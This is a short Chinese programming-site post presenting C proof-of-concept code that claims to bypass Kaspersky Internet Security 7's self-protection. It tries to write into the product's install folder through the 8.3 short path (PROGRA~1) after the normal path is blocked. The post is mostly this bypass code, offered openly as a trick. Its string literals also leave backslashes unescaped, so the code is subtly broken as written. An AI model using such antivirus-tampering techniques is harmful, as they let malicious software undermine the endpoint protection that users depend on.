当前位置:编程学习 > 网站相关 >>

突破卡巴斯基7文件保护写文件

在开启卡巴自我防护的情况下,我们是不能在卡巴的安装写或修改文件的,但利用点小技巧还是可以绕过的。

代码如下:

int _tmain(int argc, _TCHAR* argv[])
{
DWORD retsize;
BOOL ret;

char Path[MAX_PATH]="C:\Program Files\Kaspersky Lab\Kaspersky Internet Security 7.0\1.txt";
char Path2[MAX_PATH]="C:\PROGRA~1\Kaspersky Lab\Kaspersky Internet Security 7.0\2.txt";


printf("try createfile %s ",Path);
HANDLE hFile=CreateFile(Path,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_ALWAYS,NULL,NULL);
if(hFile==INVALID_HANDLE_VALUE)
{
printf("CreateFile Error:%d ",GetLastError());
}
else
{
printf("ok ");
ret=WriteFile(hFile,"test",1,&retsize,NULL);
CloseHandle(hFile);
}


printf("try createfile %s ",Path2);
hFile=CreateFile(Path2,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_ALWAYS,NULL,NULL);
if(hFile==INVALID_HANDLE_VALUE)
{
printf("CreateFile Error:%d ",GetLastError());
}
else
{
printf("ok ");
ret=WriteFile(hFile,"test",1,&retsize,NULL);
CloseHandle(hFile);
}


return 0;
}

补充:综合编程 , 安全编程 ,
CopyRight © 2022 站长资源库 编程知识问答 zzzyk.com All Rights Reserved
部分文章来自网络,